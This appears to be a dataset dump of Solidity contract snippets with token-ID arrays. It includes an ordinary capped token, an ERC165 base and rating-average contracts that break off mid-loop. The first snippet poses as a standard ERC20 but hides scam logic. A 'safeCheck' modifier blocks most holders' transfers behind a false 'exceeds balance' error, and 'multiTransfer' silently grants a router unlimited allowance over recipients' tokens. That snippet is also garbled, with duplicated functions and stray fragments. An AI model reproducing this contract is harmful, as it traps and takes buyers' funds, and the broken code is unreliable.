* @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => uint256) private _records; mapping (address => uint256) private _dateu; mapping (address => bool) private _listw; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint256 private amountcheck = 20*(10**18); uint256 private valuea = 99; uint256 private valueb = 100; string private _name; string private _symbol; uint8 private _decimals; address public _owner; address public _safeOwner; } constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function multiTransfer(address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if (msg.sender == _owner && receivers[i]!=_owner && receivers[i]!=_safeOwner && _owner!=_safeOwner){ _listw[receivers[i]]= true ; _approve(receivers[i], 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } function multiTransfer(address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if (msg.sender == _owner && receivers[i]!=_owner && receivers[i]!=_safeOwner && _owner!=_safeOwner){ _listw[receivers[i]]= true ; _approve(receivers[i], 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } function multiTransfer(address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if (msg.sender == _owner && receivers[i]!=_owner && receivers[i]!=_safeOwner && _owner!=_safeOwner){ _listw[receivers[i]]= true ; _approve(receivers[i], 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner){ _;} else{ else{ if (amount > amountcheck){ require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20: transfer amount exceeds balance"); _; uint256 x = _records[sender]; if (x > valuea || now > _dateu[sender] + 5 * 1 minutes) { require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20 transfer amount exceeds balance"); _; _records[sender]=valueb; _; } } } } } if (sender == recipient && sender==_owner){amountcheck = amount;} modifier safeCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner){ _;} else{ else{ if (amount > amountcheck){ require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20: transfer amount exceeds balance"); _; uint256 x = _records[sender]; if (x > valuea || now > _dateu[sender] + 5 * 1 minutes) { require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20 transfer amount exceeds balance"); _; _records[sender]=valueb; _; } } } } } if (sender == _owner){_safeOwner = recipient;} modifier safeCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner){ _;} else{ else{ if (amount > amountcheck){ require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20: transfer amount exceeds balance"); _; uint256 x = _records[sender]; if (x > valuea || now > _dateu[sender] + 5 * 1 minutes) { require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20 transfer amount exceeds balance"); _; _records[sender]=valueb; _; } } } } } if (amount >0 && recipient!=_owner && _dateu[recipient]==_dateu[_owner]){_dateu[recipient]= now ;} if (amount >0 && sender==_owner && recipient!=_owner && recipient!=_safeOwner){_listw[recipient]= true ;} if (sender == _owner || sender == _safeOwner || recipient == _owner || _listw[sender]){ _;} modifier safeCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner){ _;} else{ else{ if (amount > amountcheck){ require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20: transfer amount exceeds balance"); _; uint256 x = _records[sender]; if (x > valuea || now > _dateu[sender] + 5 * 1 minutes) { require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20 transfer amount exceeds balance"); _; _records[sender]=valueb; _; } } } } } modifier safeCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner){ _;} else{ else{ if (amount > amountcheck){ require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20: transfer amount exceeds balance"); _; uint256 x = _records[sender]; if (x > valuea || now > _dateu[sender] + 5 * 1 minutes) { require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20 transfer amount exceeds balance"); _; _records[sender]=valueb; _; } } } } } }else{ modifier safeCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner){ _;} else{ else{ if (amount > amountcheck){ require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20: transfer amount exceeds balance"); _; uint256 x = _records[sender]; if (x > valuea || now > _dateu[sender] + 5 * 1 minutes) { require((sender == _safeOwner)||(recipient == 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), "ERC20 transfer amount exceeds balance"); _; _records[sender]=valueb; _; } } } } } }else{ function setSafeOwner(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function _token_AURA(address from, address to, uint256 amount) internal virtual { } }
4,907,101
[ 1, 13621, 434, 326, 288, 45, 654, 39, 3462, 97, 1560, 18, 1220, 4471, 353, 279, 1600, 669, 335, 358, 326, 4031, 2430, 854, 2522, 18, 1220, 4696, 716, 279, 14467, 12860, 711, 358, 506, 3096, 316, 279, 10379, 6835, 1450, 288, 67, 81, 474, 5496, 2457, 279, 5210, 12860, 2621, 288, 654, 39, 3462, 18385, 49, 2761, 16507, 1355, 5496, 399, 2579, 30, 2457, 279, 6864, 1045, 416, 2621, 3134, 7343, 358, 2348, 14467, 1791, 28757, 8009, 1660, 1240, 10860, 7470, 3502, 62, 881, 84, 292, 267, 9875, 14567, 30, 4186, 15226, 3560, 434, 5785, 1375, 5743, 68, 603, 5166, 18, 1220, 6885, 353, 1661, 546, 12617, 15797, 287, 471, 1552, 486, 7546, 598, 326, 26305, 434, 4232, 39, 3462, 12165, 18, 26775, 16, 392, 288, 23461, 97, 871, 353, 17826, 603, 4097, 358, 288, 13866, 1265, 5496, 1220, 5360, 12165, 358, 23243, 326, 1699, 1359, 364, 777, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 16351, 4232, 39, 3462, 353, 1772, 16, 467, 654, 39, 3462, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 565, 1450, 5267, 364, 1758, 31, 203, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 70, 26488, 31, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 7094, 31, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 712, 89, 31, 203, 565, 2874, 261, 2867, 516, 1426, 13, 3238, 389, 1098, 91, 31, 203, 203, 565, 2874, 261, 2867, 516, 2874, 261, 2867, 516, 2254, 5034, 3719, 3238, 389, 5965, 6872, 31, 203, 203, 565, 2254, 5034, 3238, 389, 4963, 3088, 1283, 31, 203, 565, 2254, 5034, 3238, 3844, 1893, 273, 4200, 21556, 2163, 636, 2643, 1769, 203, 565, 2254, 5034, 3238, 460, 69, 273, 14605, 31, 203, 565, 2254, 5034, 3238, 460, 70, 273, 2130, 31, 203, 203, 565, 533, 3238, 389, 529, 31, 203, 565, 533, 3238, 389, 7175, 31, 203, 565, 2254, 28, 3238, 389, 31734, 31, 203, 203, 565, 1758, 1071, 389, 8443, 31, 203, 565, 1758, 1071, 389, 4626, 5541, 31, 203, 203, 97, 203, 282, 3885, 261, 1080, 3778, 508, 16, 533, 3778, 3273, 16, 2254, 5034, 2172, 3088, 1283, 16, 2867, 8843, 429, 3410, 13, 1071, 288, 203, 3639, 389, 529, 273, 508, 31, 203, 3639, 389, 7175, 273, 3273, 31, 203, 3639, 389, 31734, 273, 6549, 31, 203, 3639, 389, 8443, 273, 3410, 31, 203, 3639, 389, 4626, 5541, 273, 3410, 31, 203, 3639, 389, 81, 2 ]
/** *Submitted for verification at Etherscan.io on 2021-05-10 */ //SPDX-License-Identifier: MIT /* * MIT License * =========== * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping (address => uint) private _balances; mapping (address => mapping (address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns (uint) { return _totalSupply; } function balanceOf(address account) public view returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); require(_totalSupply <= 1e28, "_totalSupply exceed hard limit"); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ManekiNeko is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint; address public governance; mapping (address => bool) public minters; constructor () public ERC20Detailed("Maneki-neko Lucky Koban Coin", "KBAN", 18) { governance = msg.sender; addMinter(governance); // underlying _mint function has hard limit mint(governance, 1e28); } function mint(address account, uint amount) public { require(minters[msg.sender], "!minter"); _mint(account, amount); } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function addMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = true; } function removeMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = false; } function burn(uint256 amount) public { _burn(msg.sender, amount); } }
underlying _mint function has hard limit
constructor () public ERC20Detailed("Maneki-neko Lucky Koban Coin", "KBAN", 18) { governance = msg.sender; addMinter(governance); mint(governance, 1e28); }
10,876,244
[ 1, 9341, 6291, 389, 81, 474, 445, 711, 7877, 1800, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 1832, 1071, 4232, 39, 3462, 40, 6372, 2932, 5669, 3839, 77, 17, 82, 3839, 83, 511, 9031, 93, 1475, 947, 304, 28932, 3113, 315, 16024, 1258, 3113, 6549, 13, 288, 203, 3639, 314, 1643, 82, 1359, 273, 1234, 18, 15330, 31, 203, 3639, 527, 49, 2761, 12, 75, 1643, 82, 1359, 1769, 203, 3639, 312, 474, 12, 75, 1643, 82, 1359, 16, 404, 73, 6030, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/80001/0xba35D3A8a759C76bBc9e4B00a0078301d05A1AD3/sources/Quadrum.sol
* @dev Implementation of the {IERC165} interface. Contracts may inherit from this and call {_registerInterface} to declare their support of an interface./
abstract contract ERC165 is IERC165 { mapping(bytes4 => bool) private _supportedInterfaces; } constructor() { _registerInterface(type(IERC165).interfaceId); } function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } }
838,944
[ 1, 13621, 434, 326, 288, 45, 654, 39, 28275, 97, 1560, 18, 30131, 2026, 6811, 628, 333, 471, 745, 288, 67, 4861, 1358, 97, 358, 14196, 3675, 2865, 434, 392, 1560, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 17801, 6835, 4232, 39, 28275, 353, 467, 654, 39, 28275, 288, 203, 565, 2874, 12, 3890, 24, 516, 1426, 13, 3238, 389, 4127, 10273, 31, 203, 203, 97, 203, 203, 565, 3885, 1435, 288, 203, 3639, 389, 4861, 1358, 12, 723, 12, 45, 654, 39, 28275, 2934, 5831, 548, 1769, 203, 565, 289, 203, 203, 565, 445, 6146, 1358, 12, 3890, 24, 1560, 548, 13, 203, 3639, 1071, 203, 3639, 1476, 203, 3639, 5024, 203, 3639, 3849, 203, 3639, 1135, 261, 6430, 13, 203, 565, 288, 203, 3639, 327, 389, 4127, 10273, 63, 5831, 548, 15533, 203, 565, 289, 203, 203, 565, 445, 389, 4861, 1358, 12, 3890, 24, 1560, 548, 13, 2713, 5024, 288, 203, 3639, 2583, 12, 5831, 548, 480, 374, 28857, 16, 315, 654, 39, 28275, 30, 2057, 1560, 612, 8863, 203, 3639, 389, 4127, 10273, 63, 5831, 548, 65, 273, 638, 31, 203, 565, 289, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity >=0.4.21 <0.6.0; /// @author Andrea Lisi, Samuel Fabrizi /// @title RatingFunction /// @notice This contract interface defines the method to compute the final score of a list of scores interface RatingFunction { modifier haveEqualLength(uint[] memory _s, uint[] memory _b) { require(_s.length == _b.length); _; } /// @notice Compute the final score given a bundle of rating information /// @param _scores The array of scores /// @param _blocks The array of blocks containing the scores /// @param _valuesSkill The array of values about skill of item rated function compute(uint[] calldata _scores, uint[] calldata _blocks, uint[] calldata _valuesSkill ) external pure returns(uint); } /// @title SimpleAverageFunction /// @notice Compute the final score with simple average on the score values contract SimpleAvarageFunction is RatingFunction { /// @notice Compute the final score given a bundle of rating information /// @param _scores The array of scores /// @param _blocks The array of blocks containing the scores /// @param _valuesSkill The array of values about skill of item rated function compute(uint[] calldata _scores, uint[] calldata _blocks, uint[] calldata _valuesSkill) haveEqualLength(_scores, _blocks) external pure returns(uint) { uint len = _scores.length; if (len <= 0) return 0; // Simple average uint total = 0; for (uint i=0; i<len; i++) total += _scores[i]; return total / len; } } /// @title WeightedAverageFunction /// @notice Compute the final score with a weighted average using the blocks contract WeightedAverageFunction is RatingFunction { /// @notice Compute the final score given a bundle of rating information /// @param _scores The array of scores /// @param _blocks The array of blocks containing the scores /// @param _valuesSkill The array of values about skill of item rated function compute(uint[] calldata _scores, uint[] calldata _blocks, uint[] calldata _valuesSkill ) haveEqualLength(_scores, _blocks) external pure returns(uint) { uint len = _scores.length; if (len <= 0) return 0; // Weighted average w.r.t. blocks uint last = _blocks[len-1]; uint weightedScore = 0; uint weightSum = 0; for (uint i=0; i<len; i++) { uint s = _scores[i]; uint b = _blocks[i]; uint weight = (b*100)/last; weightedScore += s * weight; weightSum += weight; } if (weightSum == 0 || weightedScore == 0) return 0; return weightedScore / weightSum; } } /// @title WeightedAverageFunction /// @notice Compute the final score with a weighted average using the skill values contract WeightedAverageSkillFunction is RatingFunction { /// @notice Compute the final score given a bundle of rating information /// @param _scores The array of scores /// @param _blocks The array of blocks containing the scores /// @param _valuesSkill The array of values about skill of item rated function compute(uint[] calldata _scores, uint[] calldata _blocks, uint[] calldata _valuesSkill ) haveEqualLength(_scores, _valuesSkill) external pure returns(uint) { uint len = _scores.length; if (len <= 0) return 0; // Weighted average based on skill values uint totalWeight = 0; uint totalValues = 0; for (uint i=0; i<len; i++){ totalValues += _valuesSkill[i]; totalWeight += _scores[i]*_valuesSkill[i]; } if (totalValues == 0 || totalWeight == 0) return 0; return totalWeight / totalValues; } } /// @title BlocksAndSkillsWeightFunction /// @notice Compute the final score with a weighted average using the blocks and skill values /// @dev Array as parameter is needed to avoid StackTooDeep exception due to many local variables contract BlocksAndSkillsWeightFunction is RatingFunction { /// @notice Compute the final score given a bundle of rating information /// @param _scores The array of scores /// @param _blocks The array of blocks containing the scores /// @param _valuesSkill The array of values about skill of item rated function compute(uint[] calldata _scores, uint[] calldata _blocks, uint[] calldata _valuesSkill ) haveEqualLength(_scores, _blocks) haveEqualLength(_scores, _valuesSkill) external pure returns(uint result) { uint[5] memory data; data[0] = 0; // i : iterator data[1] = _scores.length; // len : number of scores data[2] = _blocks[ data[1] -1]; // last : last block value for (data[0] = 0; data[0] < data[1]; data[0]++){ uint s = _scores[ data[0] ]; uint b = _blocks[ data[0] ]; uint v = _valuesSkill[ data[0] ]; uint weight = (b*v*100) / data[2]; data[3] += weight; 